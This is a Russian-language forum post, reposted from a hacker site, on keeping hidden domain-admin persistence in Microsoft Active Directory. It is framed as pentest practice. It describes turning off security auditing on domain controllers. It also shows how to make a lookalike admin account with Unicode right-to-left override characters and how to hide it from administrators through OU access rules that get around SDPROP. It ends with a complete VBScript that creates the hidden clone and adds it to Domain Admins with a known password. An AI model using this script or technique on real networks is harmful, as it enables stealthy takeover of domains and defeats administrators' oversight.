http://s014.radikal.ru/i327/1201/54/1be86eb83122.jpg

В начале прошлого года мною уже поднималась тема пост-эксплуатации в домене Microsoft Active Directory. В предложенном ранее подходе рассматривался вариант ориентированный больше на случай утери административных привилегий, нежели их непосредственное использование. При этом само действо по возврату этих привилегий подразумевало "шумные" события и визуально палевные манипуляции в каталоге. Другими словами, для того, чтобы вернуть себе административные привилегии в домене, требовалось стать участником соответствующей группы безопасности, например, группы "Domain Admins".

Надо сказать, что администраторы очень волнуются, когда неожиданно осознают присутствие в своей системе кого-то еще. Некоторые из них бросаются всеми силами обрабатывать инцидент безопасности. Порой, самыми непредсказуемыми действиями ;))

http://s018.radikal.ru/i513/1201/d4/d99402cdca45.jpg

Теперь представьте, как себя может повести администратор Active Directory в крупной компании, при виде незнакомого идентификатора в группе безопасности "Enterprise Admins"? В случае если кто-то залился не понарошку, тогда озабоченность администратора полностью оправдана. Но в случае недостаточного противодействия при проведении пентеста, шибко волноваться явно не стоит (ровно, как лишать парней точек входа и добытых потом и кровью привилегий).

Я долго размышлял над тем, как, не пугая администраторов, свободно пользоваться достигнутыми привилегиями в ходе проведения тестирования на проникновение (особенно на фоне агрессивного противодействия со стороны администраторов на последних работах). С одной стороны, при проведении пентеста мы сильно ограничены в возможностях. Например, правило по минимизации воздействия на объект исследования – это как само собой разумеющееся. Поэтому наплодить и раскидать бэкдоров по захваченной сети мы попросту не можем. С другой стороны, есть совершенно понятные цели, к которым требуется прийти до того момента, как радостный администратор заметит несанкционированную активность и выдернет шнур из розетки.

Так как же можно оставаться незамеченным в сетях Microsoft?

Первое, что приходит в голову - использовать учетную запись администратора. Доступ легитимный, поэтому он не должен привлекать к себе особое внимание. Но, как показывает практика, не всегда удается получить пароль администратора в открытом виде. В этих случаях на помощь спешит атака, известная под названием Pass-the-Hash. Было бы почти все замечательно (почти, потому как Pass-the-Hash сужает возможности по развитию атаки, например, нельзя воспользоваться протоколом удаленного управления RDP), но в серьезных компаниях администраторы потихоньку переходят на смарт-карты, что не позволяет использовать атаки, основанные на недостатках протокола NTLM. Хорошо, но есть же еще возможность использования токена авторизованного пользователя (eq incognito) и/или билета Kerberos (eq WCE). Так-то оно конечно так, но на практике Kerberos не керберос и токен не токен Доступный инструментарий по проведению данных видов атак, к сожалению, откровенно лажает. Кроме того, в обоих случаях, ровно как с атакой Pass-the-Hash, действия атакующего весьма ограничены используемыми протоколами, поддерживающими SSO в домене.

Таким образом, самый привлекательный путь - это использование привилегий, если уж не существующего, так созданного идентификатора администратора домена с известным паролем...

Как при этом не нарваться на бдительный глаз администратора домена?

Во-первых, внесение изменений в каталог Active Directory порождает соответствующие события, о которых администратору лучше не знать. Поэтому перед заливкой в домен (разумеется, только при проведении тестирования на проникновение и после согласования сего действа с ответственным лицом на стороне заказчика) рекомендуется отключить ведение событий безопасности на контролерах домена посредством соответствующего GPO. Напомню, что по умолчанию время фонового обновления групповых политик для контроллеров домена составляет 15 минут.

Во-вторых, никто не мешает создать визуально идентичную учетную запись, аналогичную существующему администратору домена. Для этого, например, могут использоваться символы юникода (!). Далее, созданному пользователю выставляется атрибут "showInAdvancedViewOnly" в значение "TRUE", что позволит скрыть объект в стандартном режиме просмотра острастки "Управления пользователями и компьютерами" (dsa.msc). После чего, осталось поместить этого пользователя в одну из административных групп, свободную от реального администратора домена (прим., как правило, администраторы любят воткнуть свою учетную запись во все мыслимые и не мыслимые административные группы; например, оставим администратора в группе "Enterprise Admins", а клона поместим в группу "Domain Admins").

Но я думаю, что многие из читателей уже засомневалась в успехе компании. И они правы! Этот способ никуда не годится, т.к. в нем присутствуют два существенных недостатка:

1. Созданный идентификатор пользователя виден в каталоге "вооруженным глазом".
2. При поиске пользователей в домене, учетная запись администратора начинает двоиться.

Как можно решить эти проблемы?

Казалось бы, самое простое решение на поверхности – правильно настроить права доступа к создаваемому объекту (нашему пользователю). Для этого достаточно группе "Everyone" запретить читать публичную информацию у объекта. И в организационной единице, рядом с реальным администратором Active Directory повиснет "нечто", что как минимум перестанет светиться при поиске пользователей в домене. Однако сказка продлится не более, чем 60 минут Дело в том, что по умолчанию каждые 60 минут на контроллере домена, выполняющего роль эмулятора PDC, запускается процесс "SDPROP", который восстанавливает права доступа у ряда объектов Active Directory (в том числе, у всех членов групп администраторов) в соответствии с установленными правами доступа на объект "AdminSDHolder" (hххp://technet.microsoft.com/en-us/query/ee361593).

К сожалению, отключить указанный механизм безопасности штатными возможностями невозможно. Хак с правами доступа на объект может привести к проблемам с репликацией (а тут уже попахивает какой-то диверсией; при пентесте низя). Перезапись прав доступа на "AdminSDHolder" затронет множество объектов, включая идентификаторы всех администраторов домена. Таким образом, одним из возможных полезных решений, может быть регулярный запуск сценария, который будет исправлять погрешности процесса "SDPROP", но есть и более перспективная альтернатива.

Процесс "SDPROP" восстанавливает права доступа (ACE) только на конкретные привилегированные объекты, при этом права доступа для организационных единиц, в которых содержатся подобные объекты, остаются неизменными. Этим-то как раз и можно воспользоваться! Нам ведь никто не мешает, используя символы юникода, создать аналогичную последовательность организационных единиц, аналогично той последовательности, в которой содержится клонируемый идентификатор. При этом, "правильные" права доступа на вышестоящий контейнер позволят его визуально срыть от посторонних глаз (разумеется в пределах разумного).

http://s017.radikal.ru/i402/1201/87/829e9dee9aa3.jpg

http://s40.radikal.ru/i089/1201/49/f7ae1e3c25e8.jpg

Смысл подобного подхода заключается в том, что у администратора Active Directory не должны появиться не здоровые подозрения на тему того, что доверенная ему система была скомпрометирована. Он по-прежнему остается действующим администратором, разве что членом одной из привилегированных групп является визуально идентичная учетная запись...

И последнее. Для того чтобы созданный клон не дублировался в поиске по каталогу можно воспользоваться, например, символом "202E" . Указанный символ переворачивает строку, расположенную за ним. Таким образом, если мы, к примеру, создаем клон для идентификатора "dmitry.ivanov", создаваемый идентификатор будет иметь вид "202E"+"vonavi.yrtimd". Возможно, такой подход не так удобен для прохождения аутентификации, но от попадания в поиск по каталогу спасает.

http://s48.radikal.ru/i122/1201/a4/a7bcf6a82c55.jpg

С точки зрения журналов безопасности, рассматриваемый подход также позволяет оставаться незамеченным до определенного момента.

http://s018.radikal.ru/i521/1201/f0/bea64c10dae7.png

Ниже представлен сценарий, который автоматизирует все выше сказанное. Настраиваемые параметры:

strAdminsamAccountName – идентификатор, который требуется с клонировать
strAdminsGroup – привилегированная группа, в которую следует поместить клона
strPassNewUser – задаваемый пароль новому пользователю

Код:
On Error Resume Next

strAdminsamAccountName = "dmitry.ivanov"
strAdminsGroup = "Domain Admins"
strPassNewUser = "P@ssw0rd"

' - - -

Dim arrContainer(), i

Set objRootDSE = GetObject("LDAP://RootDSE")
strDomain = objRootDSE.Get("DefaultNamingContext")
Set objDomain = GetObject("LDAP://" & strDomain)

strAdminsamAccountNameDN = SearchDN("' WHERE objectCategory='user' AND samAccountName = '" & strAdminsamAccountName & "'")

If Not IsNull(strAdminsamAccountNameDN) Then

  Set objAdmin = GetObject("LDAP://" & strAdminsamAccountNameDN)
  Set objOU = GetObject(objAdmin.parent)

  i=0
  Call EnumOUs(objOU)

  For j = i-1 To 0 Step -1

   if strContainer="" Then
    strContainer = "OU=" & arrContainer(j) & strContainer
    primaryContainer = strContainer
   Else
    strContainer = "OU=" & arrContainer(j) & "," & strContainer
   End if
   Set objOUcreate = objDomain.Create("organizationalUnit", strContainer)
   objOUcreate.SetInfo
  Next

  Set objContainer = GetObject("LDAP://" & strContainer & "," & strDomain)

  Set objUserCreate = objContainer.Create("User", "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName))
  objUserCreate.Put "sAMAccountName", ChrW(8238) & StrReverse(strAdminsamAccountName)
  objUserCreate.SetInfo
  On Error Resume Next

  objUserCreate.SetPassword strPassNewUser
  objUserCreate.Put "userAccountControl", 66048
  objUserCreate.Put "givenName", ChrW(8238) & StrReverse(objAdmin.givenName)
  objUserCreate.Put "sn", ChrW(8238) & StrReverse(objAdmin.sn)
  objUserCreate.Put "initials", ChrW(8238) & StrReverse(objAdmin.initials)
  objUserCreate.SetInfo
  On Error Resume Next

  objUserCreate.Put "showInAdvancedViewOnly", "TRUE"
  objUserCreate.SetInfo
  On Error Resume Next

  NewUserDN = "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName) & "," & objContainer.distinguishedName

  strAdminsGroupDN = SearchDN("' WHERE objectCategory='group' AND samAccountName = '" & strAdminsGroup & "'")

  If Not IsNull(strAdminsGroupDN) Then
   Set objGroup = GetObject("LDAP://" & strAdminsGroupDN)
   objGroup.PutEx 4, "member", Array(strAdminsamAccountNameDN)
   objGroup.SetInfo
   objGroup.PutEx 3, "member", Array(NewUserDN)
   objGroup.SetInfo
  End If

  OUAddAce(primaryContainer & "," & strDomain)

End If

Function SearchDN(str)
  Set objConnection = CreateObject("ADODB.Connection")

  objConnection.Provider = "ADsDSOObject"
  objConnection.Open "Active Directory Provider"

  Set objCommand = CreateObject("ADODB.Command")
  Set objCommand.ActiveConnection = objConnection
  objCommand.Properties("Searchscope") = 2

  objCommand.CommandText = "SELECT distinguishedName FROM 'LDAP://" & strDomain & str
  Set objRecordSet = objCommand.Execute
  If Not objRecordSet.EOF Then
   SearchDN = objRecordSet.Fields("distinguishedName").Value
  End if
End Function

Sub EnumOUs(objChild)
  Dim objParent

  Set objParent = GetObject(objChild.Parent)
  If (objParent.Class = "organizationalUnit") Then
   ReDim Preserve arrContainer(i + 1)
   arrContainer(i) = objChild.ou
   i=i+1
   Call EnumOUs(objParent)
  Else
   ReDim Preserve arrContainer(i + 1)
   arrContainer(i) = objChild.ou & ChrW(128)
   i=i+1
  End If
End Sub

Function OUAddAce(OU)

  Dim objSdUtil, objSD, objDACL, objAce
  Set objOU = GetObject ("LDAP://" & OU)
 
  Set objSdUtil = GetObject(objOU.ADsPath)
  Set objSD = objSdUtil.Get("ntSecurityDescriptor")
  Set objDACL = objSD.DiscretionaryACL
  Set objAce = CreateObject("AccessControlEntry")

  objAce.Trustee = "Everyone"
  objAce.AceFlags = 2
  objAce.AceType = 6
  objAce.AccessMask = 16
  objAce.Flags = 1
  objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
  objDacl.AddAce objAce

  objSD.DiscretionaryAcl = objDacl
  objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
  objSDUtil.SetInfo

  Set objNtSecurityDescriptor = objOU.Get("ntSecurityDescriptor")
  intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
  intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
  objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
  objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor
  objOU.SetInfo

End Function

Оригинал: https://xakepy.cc/content.php?r=3358-Ba … 5%ED%E8%FF

Отредактировано CryNet (2012-06-20 18:19:17)